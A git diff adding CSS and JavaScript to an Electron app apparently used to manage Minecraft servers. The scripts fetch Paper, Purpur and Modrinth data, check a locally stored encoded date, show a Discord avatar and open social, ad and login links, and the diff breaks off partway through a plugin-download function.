+ border-radius: 2.5rem;
+ transition: transform 0.25s ease, color 0.25s ease, background-color 0.25s ease, border-color 0.25s ease;
+}
+
+#buttons01 li a svg {
+ display: block;
+ fill: #FFFFFF;
+ flex-grow: 0;
+ flex-shrink: 0;
+ height: 100%;
+ min-width: 16px;
+ width: 1.25em;
+ margin-left: -0.125em;
+ margin-right: calc(1rem + 0rem);
+ transition: fill 0.25s ease;
+}
+
+#buttons01 li a .label {
+ direction: var(--site-language-direction);
+ overflow: hidden;
+}
+
+#buttons01 .button {
+ background-color: rgba(255, 255, 255, 0.102);
+ color: #FFFFFF;
+}
+
+#buttons01 .button:hover {
+ background-color: rgba(255, 255, 255, 0.18) !important;
+}
+
+#buttons01 li a:hover {
+ transform: scale(1.025);
+}
+
+.icons {
+ display: flex;
+ flex-wrap: wrap;
+ justify-content: var(--flex-alignment);
+ letter-spacing: 0;
+ padding: 0;
+}
+
+.icons li {
+ position: relative;
+ z-index: 1;
+}
+
+.icons li a {
+ align-items: center;
+ display: flex;
+ justify-content: center;
+}
+
+.icons li a svg {
+ display: block;
+ position: relative;
+}
+
+.icons li a+svg {
+ display: block;
+ height: 100%;
+ left: 0;
+ pointer-events: none;
+ position: absolute;
+ top: 0;
+ width: 100%;
+ z-index: -1;
+}
+
+.icons li a .label {
+ display: none;
+}
+
+#icons01 {
+ font-size: 1.25em;
+ gap: 1rem;
+}
+
+#icons01 li a {
+ border-radius: 100%;
+ height: 2em;
+ width: 2em;
+ transition: transform 0.25s ease, color 0.25s ease, background-color 0.25s ease, border-color 0.25s ease;
+}
+
+#icons01 li a svg {
+ height: 60%;
+ width: 60%;
+ transition: fill 0.25s ease;
+}
+
+#icons01 a {
+ background-color: rgba(0, 0, 0, 0.102);
+}
+
+#icons01 a svg {
+ fill: #000000;
+}
+
+#icons01 a:hover {
+ background-color: rgba(0, 0, 0, 0.188) !important;
+}
+
+#icons01 li a+svg {
+ transition: transform 0.25s ease, fill 0.25s ease, stroke 0.25s ease;
+}
+
+#icons01 li a:hover {
+ transform: scale(1.1125);
+}
+
+#icons01 li a:hover+svg {
+ transform: scale(1.1125);
+}
+
+.container {
+ position: relative;
+}
+
+.container>.wrapper {
+ vertical-align: top;
+ position: relative;
+ max-width: 100%;
+ border-radius: inherit;
+}
+
+.container>.wrapper>.inner {
+ vertical-align: top;
+ position: relative;
+ max-width: 100%;
+ border-radius: inherit;
+ text-align: var(--alignment);
+}
+
+#main .container.full:first-child>.wrapper {
+ border-top-left-radius: inherit;
+ border-top-right-radius: inherit;
+}
+
+#main .container.full:last-child>.wrapper {
+ border-bottom-left-radius: inherit;
+ border-bottom-right-radius: inherit;
+}
+
+#main .container.full:first-child>.wrapper>.inner {
+ border-top-left-radius: inherit;
+ border-top-right-radius: inherit;
+}
+
+#main .container.full:last-child>.wrapper>.inner {
+ border-bottom-left-radius: inherit;
+ border-bottom-right-radius: inherit;
+}
+
+#container01 {
+ display: flex;
+ width: 100%;
+ align-items: center;
+ justify-content: center;
+ background-image: url('data:image/svg+xml;charset=utf8,%3Csvg%20viewBox%3D%220%200%20512%20512%22%20width%3D%22512%22%20height%3D%22512%22%20version%3D%221.1%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%20%3Cfilter%20id%3D%22noise%22%3E%20%3CfeTurbulence%20type%3D%22fractalNoise%22%20baseFrequency%3D%220.875%22%20result%3D%22noise%22%20%2F%3E%20%3CfeColorMatrix%20type%3D%22matrix%22%20values%3D%220.21875%200%200%200%200%200%200.21875%200%200%200%200%200%200.21875%200%200%200%200%200%200.30859375%200%22%20%2F%3E%20%3C%2Ffilter%3E%20%3Crect%20filter%3D%22url%28%23noise%29%22%20x%3D%220%22%20y%3D%220%22%20width%3D%22512%22%20height%3D%22512%22%20fill%3D%22transparent%22%20opacity%3D%221%22%20%2F%3E%3C%2Fsvg%3E'), linear-gradient(0deg, rgba(46, 46, 46, 0.212) 50%, rgba(227, 227, 227, 0.102) 100%);
+ background-size: 512px, cover;
+ background-position: center, 0% 0%;
+ background-repeat: repeat, repeat;
+ -webkit-backdrop-filter: blur(0.75rem);
+ backdrop-filter: blur(0.75rem);
+ box-shadow: 0rem 1.375rem 10rem 0rem rgba(0, 0, 0, 0.31);
+ border-top-left-radius: 1.5rem;
+ border-top-right-radius: 1.5rem;
+}
+
+#container01:not(:last-child) {
+ margin-bottom: 0rem !important;
+}
+
+#container01>.wrapper>.inner {
+ --gutters: 2rem;
+ --padding-horizontal: 3rem;
+ --padding-vertical: 4rem;
+ --spacing: 1rem;
+ padding: var(--padding-vertical) var(--padding-horizontal);
+ border-top-left-radius: calc(1.5rem - 1px);
+ border-top-right-radius: calc(1.5rem - 1px);
+}
+
+#container01>.wrapper {
+ max-width: 30rem;
+ width: 100%;
+}
+
+#container01.default>.wrapper>.inner>* {
+ margin-bottom: var(--spacing);
+ margin-top: var(--spacing);
+}
+
+#container01.default>.wrapper>.inner>*:first-child {
+ margin-top: 0 !important;
+}
+
+#container01.default>.wrapper>.inner>*:last-child {
+ margin-bottom: 0 !important;
+}
+
+#container01.columns>.wrapper>.inner {
+ flex-wrap: wrap;
+ display: flex;
+ align-items: flex-start;
+}
+
+#container01.columns>.wrapper>.inner>* {
+ flex-grow: 0;
+ flex-shrink: 0;
+ max-width: 100%;
+ text-align: var(--alignment);
+ padding: 0 0 0 var(--gutters);
+}
+
+#container01.columns>.wrapper>.inner>*>* {
+ margin-bottom: var(--spacing);
+ margin-top: var(--spacing);
+}
+
+#container01.columns>.wrapper>.inner>*>*:first-child {
+ margin-top: 0 !important;
+}
+
+#container01.columns>.wrapper>.inner>*>*:last-child {
+ margin-bottom: 0 !important;
+}
+
+#container01.columns>.wrapper>.inner>*:first-child {
+ margin-left: calc(var(--gutters) * -1);
+}
+
+#container01.default>.wrapper>.inner>.full {
+ margin-left: calc(var(--padding-horizontal) * -1);
+ max-width: none !important;
+ width: calc(100% + (var(--padding-horizontal) * 2) + 0.4725px);
+}
+
+#container01.default>.wrapper>.inner>.full:first-child {
+ margin-top: calc(var(--padding-vertical) * -1) !important;
+ border-top-left-radius: inherit;
+ border-top-right-radius: inherit;
+}
+
+#container01.default>.wrapper>.inner>.full:last-child {
+ margin-bottom: calc(var(--padding-vertical) * -1) !important;
+ border-bottom-left-radius: inherit;
+ border-bottom-right-radius: inherit;
+}
+
+#container01.columns>.wrapper>.inner>div>.full {
+ margin-left: calc(var(--gutters) * -0.5);
+ max-width: none !important;
+ width: calc(100% + var(--gutters) + 0.4725px);
+}
+
+#container01.columns>.wrapper>.inner>div:first-child>.full {
+ margin-left: calc(var(--padding-horizontal) * -1);
+ width: calc(100% + var(--padding-horizontal) + calc(var(--gutters) * 0.5) + 0.4725px);
+}
+
+#container01.columns>.wrapper>.inner>div:last-child>.full {
+ width: calc(100% + var(--padding-horizontal) + calc(var(--gutters) * 0.5) + 0.4725px);
+}
+
+#container01.columns>.wrapper>.inner>div>.full:first-child {
+ margin-top: calc(var(--padding-vertical) * -1) !important;
+}
+
+#container01.columns>.wrapper>.inner>div>.full:last-child {
+ margin-bottom: calc(var(--padding-vertical) * -1) !important;
+}
+
+#container01.columns>.wrapper>.inner>div:first-child,
+#container01.columns>.wrapper>.inner>div:first-child>.full:first-child {
+ border-top-left-radius: inherit;
+}
+
+#container01.columns>.wrapper>.inner>div:last-child,
+#container01.columns>.wrapper>.inner>div:last-child>.full:first-child {
+ border-top-right-radius: inherit;
+}
+
+#container01.columns>.wrapper>.inner>.full {
+ align-self: stretch;
+}
+
+#container01.columns>.wrapper>.inner>.full:first-child {
+ border-bottom-left-radius: inherit;
+ border-top-left-radius: inherit;
+}
+
+#container01.columns>.wrapper>.inner>.full:last-child {
+ border-bottom-right-radius: inherit;
+ border-top-right-radius: inherit;
+}
+
+#container01.columns>.wrapper>.inner>.full>.full:first-child:last-child {
+ border-radius: inherit;
+ height: calc(100% + (var(--padding-vertical) * 2));
+}
+
+#container01.columns>.wrapper>.inner>.full>.full:first-child:last-child>* {
+ border-radius: inherit;
+ height: 100%;
+ position: absolute;
+ width: 100%;
+}
+
+#container02 {
+ display: flex;
+ width: 100%;
+ align-items: center;
+ justify-content: center;
+ background-color: #FFFFFF;
+ box-shadow: 0rem 1.375rem 10rem 0rem rgba(0, 0, 0, 0.31);
+ border-bottom-left-radius: 1.5rem;
+ border-bottom-right-radius: 1.5rem;
+}
+
+#container02:not(:first-child) {
+ margin-top: 0rem !important;
+}
+
+#container02>.wrapper>.inner {
+ --gutters: 2rem;
+ --padding-horizontal: 3rem;
+ --padding-vertical: 1.5rem;
+ --spacing: 1rem;
+ padding: var(--padding-vertical) var(--padding-horizontal);
+ border-bottom-left-radius: calc(1.5rem - 1px);
+ border-bottom-right-radius: calc(1.5rem - 1px);
+}
+
+#container02>.wrapper {
+ max-width: 100%;
+ width: 100%;
+}
+
+#container02.default>.wrapper>.inner>* {
+ margin-bottom: var(--spacing);
+ margin-top: var(--spacing);
+}
+
+#container02.default>.wrapper>.inner>*:first-child {
+ margin-top: 0 !important;
+}
+
+#container02.default>.wrapper>.inner>*:last-child {
+ margin-bottom: 0 !important;
+}
+
+#container02.columns>.wrapper>.inner {
+ flex-wrap: wrap;
+ display: flex;
+ align-items: flex-start;
+}
+
+#container02.columns>.wrapper>.inner>* {
+ flex-grow: 0;
+ flex-shrink: 0;
+ max-width: 100%;
+ text-align: var(--alignment);
+ padding: 0 0 0 var(--gutters);
+}
+
+#container02.columns>.wrapper>.inner>*>* {
+ margin-bottom: var(--spacing);
+ margin-top: var(--spacing);
+}
+
+#container02.columns>.wrapper>.inner>*>*:first-child {
+ margin-top: 0 !important;
+}
+
+#container02.columns>.wrapper>.inner>*>*:last-child {
+ margin-bottom: 0 !important;
+}
+
+#container02.columns>.wrapper>.inner>*:first-child {
+ margin-left: calc(var(--gutters) * -1);
+}
+
+#container02.default>.wrapper>.inner>.full {
+ margin-left: calc(var(--padding-horizontal) * -1);
+ max-width: none !important;
+ width: calc(100% + (var(--padding-horizontal) * 2) + 0.4725px);
+}
+
+#container02.default>.wrapper>.inner>.full:first-child {
+ margin-top: calc(var(--padding-vertical) * -1) !important;
+ border-top-left-radius: inherit;
+ border-top-right-radius: inherit;
+}
+
+#container02.default>.wrapper>.inner>.full:last-child {
+ margin-bottom: calc(var(--padding-vertical) * -1) !important;
+ border-bottom-left-radius: inherit;
+ border-bottom-right-radius: inherit;
+}
+
+#container02.columns>.wrapper>.inner>div>.full {
+ margin-left: calc(var(--gutters) * -0.5);
+ max-width: none !important;
+ width: calc(100% + var(--gutters) + 0.4725px);
+}
+
+#container02.columns>.wrapper>.inner>div:first-child>.full {
+ margin-left: calc(var(--padding-horizontal) * -1);
+ width: calc(100% + var(--padding-horizontal) + calc(var(--gutters) * 0.5) + 0.4725px);
+}
+
+#container02.columns>.wrapper>.inner>div:last-child>.full {
+ width: calc(100% + var(--padding-horizontal) + calc(var(--gutters) * 0.5) + 0.4725px);
+}
+
+#container02.columns>.wrapper>.inner>div>.full:first-child {
+ margin-top: calc(var(--padding-vertical) * -1) !important;
+}
+
+#container02.columns>.wrapper>.inner>div>.full:last-child {
+ margin-bottom: calc(var(--padding-vertical) * -1) !important;
+}
+
+#container02.columns>.wrapper>.inner>div:first-child,
+#container02.columns>.wrapper>.inner>div:first-child>.full:first-child {
+ border-top-left-radius: inherit;
+}
+
+#container02.columns>.wrapper>.inner>div:last-child,
+#container02.columns>.wrapper>.inner>div:last-child>.full:first-child {
+ border-top-right-radius: inherit;
+}
+
+#container02.columns>.wrapper>.inner>.full {
+ align-self: stretch;
+}
+
+#container02.columns>.wrapper>.inner>.full:first-child {
+ border-bottom-left-radius: inherit;
+ border-top-left-radius: inherit;
+}
+
+#container02.columns>.wrapper>.inner>.full:last-child {
+ border-bottom-right-radius: inherit;
+ border-top-right-radius: inherit;
+}
+
+#container02.columns>.wrapper>.inner>.full>.full:first-child:last-child {
+ border-radius: inherit;
+ height: calc(100% + (var(--padding-vertical) * 2));
+}
+
+#container02.columns>.wrapper>.inner>.full>.full:first-child:last-child>* {
+ border-radius: inherit;
+ height: 100%;
+ position: absolute;
+ width: 100%;
+}
+
+@media (max-width: 1920px) {}
+
+@media (max-width: 1680px) {
+ html {
+ font-size: 12pt;
+ }
+}
+
+@media (max-width: 1280px) {
+ #bg.slideshow-background>.slow {
+ animation-duration: 45s;
+ }
+
+ #bg.slideshow-background>.normal {
+ animation-duration: 33.75s;
+ }
+
+ #bg.slideshow-background>.fast {
+ animation-duration: 22.5s;
+ }
+
+ html {
+ font-size: 12pt;
+ }
+}
+
+@media (max-width: 1024px) {}
+
+@media (max-width: 980px) {
+ html {
+ font-size: 10pt;
+ }
+}
+
+@media (max-width: 736px) {
+ #bg.slideshow-background>.slow {
+ animation-duration: 30s;
+ }
+
+ #bg.slideshow-background>.normal {
+ animation-duration: 22.5s;
+ }
+
+ #bg.slideshow-background>.fast {
+ animation-duration: 15s;
+ }
+
+ html {
+ font-size: 11pt;
+ }
+
+ #main>.inner {
+ --padding-horizontal: 1.5rem;
+ --padding-vertical: 1.5rem;
+ --spacing: 1.5rem;
+ }
+
+ #image01:not(:first-child) {
+ margin-top: 1.125rem !important;
+ }
+
+ #image01:not(:last-child) {
+ margin-bottom: 1.125rem !important;
+ }
+
+ #image01 .frame {
+ width: 6rem;
+ }
+
+ #text01 {
+ letter-spacing: 0rem;
+ width: 100%;
+ font-size: 2.25em;
+ line-height: 1.25;
+ }
+
+ #text02 {
+ letter-spacing: 0rem;
+ width: 100%;
+ font-size: 0.875em;
+ line-height: 1.25;
+ }
+
+ #buttons01 {
+ gap: 1rem;
+ }
+
+ #buttons01:not(:first-child) {
+ margin-top: 1.3125rem !important;
+ }
+
+ #buttons01:not(:last-child) {
+ margin-bottom: 1.3125rem !important;
+ }
+
+ #buttons01 li a {
+ letter-spacing: 0rem;
+ font-size: 1em;
+ }
+
+ #buttons01 li a svg {
+ width: 1.25em;
+ }
+
+ #icons01 {
+ font-size: 1.25em;
+ gap: 1rem;
+ }
+
+ #container01 {
+ --alignment: center;
+ --flex-alignment: center;
+ --indent-left: 1;
+ --indent-right: 1;
+ --margin-left: auto;
+ --margin-right: auto;
+ min-height: 27rem;
+ }
+
+ #container01:not(:last-child) {
+ margin-bottom: 0rem !important;
+ }
+
+ #container01>.wrapper>.inner {
+ --gutters: 2rem;
+ --padding-horizontal: 2rem;
+ --padding-vertical: 3.5rem;
+ --spacing: 1rem;
+ }
+
+ #container01.columns>.wrapper>.inner {
+ flex-direction: column !important;
+ flex-wrap: nowrap !important;
+ }
+
+ #container01.columns>.wrapper>.inner>span {
+ height: 0;
+ margin-top: calc(var(--gutters) * -1);
+ pointer-events: none;
+ visibility: hidden;
+ }
+
+ #container01.columns>.wrapper>.inner>*:first-child {
+ margin-left: 0 !important;
+ padding-top: 0 !important;
+ }
+
+ #container01.columns>.wrapper>.inner>* {
+ padding: calc(var(--gutters) * 0.5) 0 !important;
+ }
+
+ #container01.columns>.wrapper>.inner>*:last-child {
+ padding-bottom: 0 !important;
+ }
+
+ #container01.columns>.wrapper>.inner>div>.full {
+ margin-left: calc(var(--padding-horizontal) * -1);
+ width: calc(100% + (var(--padding-horizontal) * 2) + 0.4725px);
+ }
+
+ #container01.columns>.wrapper>.inner>div:first-of-type>.full {
+ margin-left: calc(var(--padding-horizontal) * -1);
+ width: calc(100% + (var(--padding-horizontal) * 2) + 0.4725px);
+ }
+
+ #container01.columns>.wrapper>.inner>div:last-of-type>.full {
+ margin-left: calc(var(--padding-horizontal) * -1);
+ width: calc(100% + (var(--padding-horizontal) * 2) + 0.4725px);
+ }
+
+ #container01.columns>.wrapper>.inner>div>.full:first-child {
+ margin-top: calc(var(--gutters) * -0.5) !important;
+ }
+
+ #container01.columns>.wrapper>.inner>div>.full:last-child {
+ margin-bottom: calc(var(--gutters) * -0.5) !important;
+ }
+
+ #container01.columns>.wrapper>.inner>div:first-of-type>.full:first-child {
+ margin-top: calc(var(--padding-vertical) * -1) !important;
+ }
+
+ #container01.columns>.wrapper>.inner>div:last-of-type>.full:last-child {
+ margin-bottom: calc(var(--padding-vertical) * -1) !important;
+ }
+
+ #container01.columns>.wrapper>.inner>div:first-of-type,
+ #container01.columns>.wrapper>.inner>div:first-of-type>.full:first-child {
+ border-top-left-radius: inherit;
+ border-top-right-radius: inherit;
+ }
+
+ #container01.columns>.wrapper>.inner>div:last-of-type,
+ #container01.columns>.wrapper>.inner>div:last-of-type>.full:last-child {
+ border-bottom-left-radius: inherit;
+ border-bottom-right-radius: inherit;
+ }
+
+ #container01.columns>.wrapper>.inner>div:first-of-type,
+ #container01.columns>.wrapper>.inner>div:first-of-type>.full:last-child {
+ border-bottom-left-radius: 0 !important;
+ }
+
+ #container01.columns>.wrapper>.inner>div:last-of-type,
+ #container01.columns>.wrapper>.inner>div:last-of-type>.full:first-child {
+ border-top-right-radius: 0 !important;
+ }
+
+ #container01.columns>.wrapper>.inner>.full>.full:first-child:last-child {
+ height: auto;
+ }
+
+ #container01.columns>.wrapper>.inner>.full>.full:first-child:last-child>* {
+ height: auto;
+ position: relative;
+ width: auto;
+ }
+
+ #container02 {
+ --alignment: center;
+ --flex-alignment: center;
+ --indent-left: 1;
+ --indent-right: 1;
+ --margin-left: auto;
+ --margin-right: auto;
+ }
+
+ #container02:not(:first-child) {
+ margin-top: 0rem !important;
+ }
+
+ #container02>.wrapper>.inner {
+ --gutters: 2rem;
+ --padding-horizontal: 2rem;
+ --padding-vertical: 1.5rem;
+ --spacing: 1rem;
+ }
+
+ #container02.columns>.wrapper>.inner {
+ flex-direction: column !important;
+ flex-wrap: nowrap !important;
+ }
+
+ #container02.columns>.wrapper>.inner>span {
+ height: 0;
+ margin-top: calc(var(--gutters) * -1);
+ pointer-events: none;
+ visibility: hidden;
+ }
+
+ #container02.columns>.wrapper>.inner>*:first-child {
+ margin-left: 0 !important;
+ padding-top: 0 !important;
+ }
+
+ #container02.columns>.wrapper>.inner>* {
+ padding: calc(var(--gutters) * 0.5) 0 !important;
+ }
+
+ #container02.columns>.wrapper>.inner>*:last-child {
+ padding-bottom: 0 !important;
+ }
+
+ #container02.columns>.wrapper>.inner>div>.full {
+ margin-left: calc(var(--padding-horizontal) * -1);
+ width: calc(100% + (var(--padding-horizontal) * 2) + 0.4725px);
+ }
+
+ #container02.columns>.wrapper>.inner>div:first-of-type>.full {
+ margin-left: calc(var(--padding-horizontal) * -1);
+ width: calc(100% + (var(--padding-horizontal) * 2) + 0.4725px);
+ }
+
+ #container02.columns>.wrapper>.inner>div:last-of-type>.full {
+ margin-left: calc(var(--padding-horizontal) * -1);
+ width: calc(100% + (var(--padding-horizontal) * 2) + 0.4725px);
+ }
+
+ #container02.columns>.wrapper>.inner>div>.full:first-child {
+ margin-top: calc(var(--gutters) * -0.5) !important;
+ }
+
+ #container02.columns>.wrapper>.inner>div>.full:last-child {
+ margin-bottom: calc(var(--gutters) * -0.5) !important;
+ }
+
+ #container02.columns>.wrapper>.inner>div:first-of-type>.full:first-child {
+ margin-top: calc(var(--padding-vertical) * -1) !important;
+ }
+
+ #container02.columns>.wrapper>.inner>div:last-of-type>.full:last-child {
+ margin-bottom: calc(var(--padding-vertical) * -1) !important;
+ }
+
+ #container02.columns>.wrapper>.inner>div:first-of-type,
+ #container02.columns>.wrapper>.inner>div:first-of-type>.full:first-child {
+ border-top-left-radius: inherit;
+ border-top-right-radius: inherit;
+ }
+
+ #container02.columns>.wrapper>.inner>div:last-of-type,
+ #container02.columns>.wrapper>.inner>div:last-of-type>.full:last-child {
+ border-bottom-left-radius: inherit;
+ border-bottom-right-radius: inherit;
+ }
+
+ #container02.columns>.wrapper>.inner>div:first-of-type,
+ #container02.columns>.wrapper>.inner>div:first-of-type>.full:last-child {
+ border-bottom-left-radius: 0 !important;
+ }
+
+ #container02.columns>.wrapper>.inner>div:last-of-type,
+ #container02.columns>.wrapper>.inner>div:last-of-type>.full:first-child {
+ border-top-right-radius: 0 !important;
+ }
+
+ #container02.columns>.wrapper>.inner>.full>.full:first-child:last-child {
+ height: auto;
+ }
+
+ #container02.columns>.wrapper>.inner>.full>.full:first-child:last-child>* {
+ height: auto;
+ position: relative;
+ width: auto;
+ }
+}
+
+@media (max-width: 480px) {
+ #main>.inner {
+ --spacing: 1.3125rem;
+ }
+
+ #container01>.wrapper>.inner {
+ --spacing: 0.875rem;
+ }
+
+ #container02>.wrapper>.inner {
+ --spacing: 0.875rem;
+ }
+}
+
+@media (max-width: 360px) {
+ #main>.inner {
+ --padding-horizontal: 1.125rem;
+ --padding-vertical: 1.125rem;
+ --spacing: 1.125rem;
+ }
+
+ #text01 {
+ font-size: 2em;
+ }
+
+ #text02 {
+ font-size: 0.875em;
+ }
+
+ #buttons01 {
+ gap: 0.75rem;
+ }
+
+ #icons01 {
+ gap: 0.75rem;
+ }
+
+ #container01>.wrapper>.inner {
+ --gutters: 1.5rem;
+ --padding-horizontal: 1.5rem;
+ --padding-vertical: 2.625rem;
+ --spacing: 0.75rem;
+ }
+
+ #container01 {
+ min-height: 20.25rem;
+ }
+
+ #container02>.wrapper>.inner {
+ --gutters: 1.5rem;
+ --padding-horizontal: 1.5rem;
+ --padding-vertical: 1.125rem;
+ --spacing: 0.75rem;
+ }
+}
\ No newline at end of file
diff --git a/src/JS/coreJS/checkTime.js b/src/JS/coreJS/checkTime.js
new file mode 100644
index 0000000..b43b1ca
--- /dev/null
+++ b/src/JS/coreJS/checkTime.js
@@ -0,0 +1,61 @@
+// check time
+storeLocalxLocation = __dirname
+storeLocalxLocation = storeLocalxLocation.split('LocalMiner')[0]
+storeLocalxLocation = storeLocalxLocation.replace('file:///','')
+storeLocalxLocation = storeLocalxLocation.replaceAll('/','//') + "LocalMiner//mainPs.localx"
+let file = `${storeLocalxLocation}`;
+let getTime;
+
+
+if (!fs.existsSync(file)) {
+ console.log("File not found");
+}
+
+// The file *does* exist
+else {
+ // Read the file and do anything you want
+ fileData = JSON.parse(fs.readFileSync(file, 'utf-8'));
+ console.log(fileData)
+ getTime = fileData.time;
+ getTime = atob(getTime);
+ getTime = atob(getTime);
+ getTime = atob(getTime);
+ let savedDate = getTime.split(" ")[0];
+ // saveDate = savedDate.replaceAll("-","/")
+
+ let TodayDate = giveTodayDate()
+
+ function giveTodayDate() {
+ const today = new Date();
+ const yyyy = today.getFullYear();
+ let mm = today.getMonth() + 1; // Months start at 0!
+ let dd = today.getDate();
+
+ if (dd < 10) dd = '0' + dd;
+ if (mm < 10) mm = '0' + mm;
+
+ const formattedToday = yyyy + '-' + mm + '-' + dd;
+ return formattedToday;
+ }
+
+ const diffInMs = new Date(savedDate) - new Date(TodayDate)
+ const diffInDays = diffInMs / (1000 * 60 * 60 * 24);
+
+ console.log(savedDate + " " + TodayDate + " " + diffInDays + " " + diffInMs)
+
+ if (diffInDays < 0 || diffInDays == 0) {
+ console.log("vData Loaded")
+ } else {
+ pillager();
+ }
+
+
+ function pillager() {
+ if (getTime.includes("v")) {
+ window.location.href = "app.html"
+ }
+ if (getTime.includes("n")) {
+ window.location.href = "app.html"
+ }
+ }
+}
\ No newline at end of file
diff --git a/src/JS/coreJS/fetchDiscordApi.js b/src/JS/coreJS/fetchDiscordApi.js
new file mode 100644
index 0000000..291df51
--- /dev/null
+++ b/src/JS/coreJS/fetchDiscordApi.js
@@ -0,0 +1,16 @@
+storeLocalxLocation = __dirname
+storeLocalxLocation = storeLocalxLocation.split('LocalMiner')[0]
+storeLocalxLocation = storeLocalxLocation.replace('file:///','')
+storeLocalxLocation = storeLocalxLocation.replaceAll('/','//') + "LocalMiner//mainPs.localx"
+let files = `${storeLocalxLocation}`;
+
+if (!fs.existsSync(files)) {
+ console.log("File not found");
+}
+
+else {
+ // Read the file and do anything you want
+ let fileData = JSON.parse(fs.readFileSync(files, 'utf-8'));
+ let avatar = document.getElementById("discordAvatar")
+ avatar.src = `https://cdn.discordapp.com/avatars/${fileData.id}/${fileData.avatar}`
+}
\ No newline at end of file
diff --git a/src/JS/coreJS/fetchJdk.js b/src/JS/coreJS/fetchJdk.js
new file mode 100644
index 0000000..e2a04cc
--- /dev/null
+++ b/src/JS/coreJS/fetchJdk.js
@@ -0,0 +1,21 @@
+fs.stat('C:/LocalMiner/Jdk/healer.json', function (err, stat) {
+ if (err == null) {
+ console.log('Jdk File exists');
+ updateJdkoptions()
+ } else if (err.code === 'ENOENT') {
+ // file does not exist
+ console.log('Jdk file not found')
+ } else {
+ console.log('Some other error: ', err.code);
+ }
+});
+
+function updateJdkoptions() {
+ var data = JSON.parse(fs.readFileSync('C:/LocalMiner/Jdk/healer.json', 'utf8'));
+ console.log(data[1])
+ const html = data.map((img, i) => {
+ return `${data[i].Version} `;
+ }).join('');
+ document.querySelector("#jdkv").insertAdjacentHTML("afterbegin", html);
+ document.getElementById("jdkfetch").innerText = "Select Java Version (default system java)"
+}
\ No newline at end of file
diff --git a/src/JS/coreJS/fetchServerJarApi.js b/src/JS/coreJS/fetchServerJarApi.js
new file mode 100644
index 0000000..e0dc8e8
--- /dev/null
+++ b/src/JS/coreJS/fetchServerJarApi.js
@@ -0,0 +1,57 @@
+async function fetchPaperServer() {
+ let version = await (await fetch(`https://api.papermc.io/v2/projects/paper`)).json();
+ let data = {
+ "versions":[],
+ "links":[]
+ }
+ let versions = version.versions
+ for (var i = 0; i < versions.length; i++) {
+ data.versions.push(versions[i])
+ let build = await (await fetch(`https://api.papermc.io/v2/projects/paper/versions/${versions[i]}/builds`)).json();
+ let build_number = build.builds[0].build
+ let download = build.builds[0].downloads.application.name
+ data.links.push(`https://api.papermc.io/v2/projects/paper/versions/${versions[i]}/builds/${build_number}/downloads/${download}`)
+ }
+ return data;
+
+}
+async function paperJarFetch(){
+ const paperdata = await fetchPaperServer()
+ let v = paperdata.versions;
+ const html = v.map((img, i) => {
+ return `🟢Paper ${v[i]} `;
+ }).join('');
+ document.querySelector("#server_ver").insertAdjacentHTML("afterbegin", html);
+ document.getElementById("paperfetch").innerText = "Select Server Version"
+ purpurJarFetch()
+}
+
+paperJarFetch()
+
+//purpur
+
+async function fetchPurpurServer() {
+ let version = await (await fetch(`https://api.purpurmc.org/v2/purpur/`)).json();
+ let data = {
+ "versions":[],
+ "links":[]
+ }
+ let versions = version.versions
+ for (var i = 0; i < versions.length; i++) {
+ data.versions.push(versions[i])
+ data.links.push(`https://api.purpurmc.org/v2/purpur/${versions[i]}/latest/download`)
+ }
+ return data;
+
+}
+
+async function purpurJarFetch(){
+ const purpurdata = await fetchPurpurServer()
+ let v = purpurdata.versions;
+ const html = v.map((img, i) => {
+ return `🔴Purpur ${v[i]} `;
+ }).join('');
+ document.querySelector("#server_ver").insertAdjacentHTML("afterbegin", html);
+ document.getElementById("paperfetch").innerText = "Select Server Version"
+ callFrame("[🟢] Loaded Latest Server Jars From Internet","POPUP7")
+}
\ No newline at end of file
diff --git a/src/JS/coreJS/socialLinks.js b/src/JS/coreJS/socialLinks.js
new file mode 100644
index 0000000..fec9107
--- /dev/null
+++ b/src/JS/coreJS/socialLinks.js
@@ -0,0 +1,75 @@
+const shell = require('electron').shell;
+'use strict';
+const fs = require('fs');
+
+function openad1() {
+ shell.openExternal('https://ads.localm.eu.org/ads1.html');
+}
+function openad2() {
+ shell.openExternal('https://ads.localm.eu.org/ads2.html');
+}
+
+function docs() {
+ shell.openExternal('https://localminer.gitbook.io/localxdocs');
+}
+
+function discord() {
+ shell.openExternal('https://github.com/LocalMiner/Installer/blob/main/discord.md');
+}
+
+function github() {
+ shell.openExternal('https://github.com/localminer');
+}
+
+function donate() {
+ shell.openExternal('https://ads.localm.eu.org/paywall.html?pa=sigmachad@ibl&am=99&ms=LocalMinerDonation');
+}
+
+function website() {
+ shell.openExternal('https://localm.eu.org');
+}
+
+
+
+
+function login() {
+ shell.openExternal('https://discord.com/api/oauth2/authorize?client_id=964384185802436648&redirect_uri=http%3A%2F%2Flogin.localm.eu.org%2Fauth%2Fdiscord&response_type=token&scope=identify%20guilds%20guilds.join%20guilds.members.read');
+ myLoop()
+ let CheckLoop = [
+ ".",
+ "..",
+ "...",
+
+ ".",
+ "..",
+ "...",
+
+ ".",
+ "..",
+ "...",
+
+ ".",
+ "..",
+ "...",
+ ]
+ let i = 0;
+
+ function myLoop() {
+
+ setTimeout(function () {
+ document.getElementById("text02").innerHTML = `Waiting for login `+ CheckLoop[i];
+ i++;
+ if (i < 12) {
+ myLoop();
+ }
+ if (i == 12) {
+ i = 0;
+ myLoop();
+ }
+ }, 1000)
+ }
+}
+
+function openfiles(x){
+ shell.openPath(`${x}`)
+}
\ No newline at end of file
diff --git a/src/JS/sysJS/pluginLibrary.js b/src/JS/sysJS/pluginLibrary.js
new file mode 100644
index 0000000..c816a88
--- /dev/null
+++ b/src/JS/sysJS/pluginLibrary.js
@@ -0,0 +1,58 @@
+const BASE_URL = "https://api.modrinth.com/v2/"
+
+async function SearchPlugin() {
+ try {
+ let name = encodeURIComponent(document.getElementById("source").value)
+ document.getElementById("ppl").innerHTML = ""
+ let sd = await (await fetch(`${BASE_URL}search?limit=40&index=relevance&query=${encodeURI(name)}`)).json();
+ let data = sd.hits
+ pd = data.filter(o => o.project_type === 'mod');
+ // console.log(pd)
+ let hits = pd
+ const trending_html = hits.map((d, i) => {
+ return `
+
+
+
${(hits[i].title)}
+
${(hits[i].description).substr(0, 40) + '\u2026'}
+
Download
+
`;
+ }).join('');
+ document.querySelector("#ppl").insertAdjacentHTML("afterbegin", trending_html);
+ } catch (error) {
+ console.log(error)
+ console.log("false")
+ }
+
+}
+
+async function downloadPlugin(id) {
+ try {
+ let pd = await (await fetch(`${BASE_URL}project/${id}`)).json();
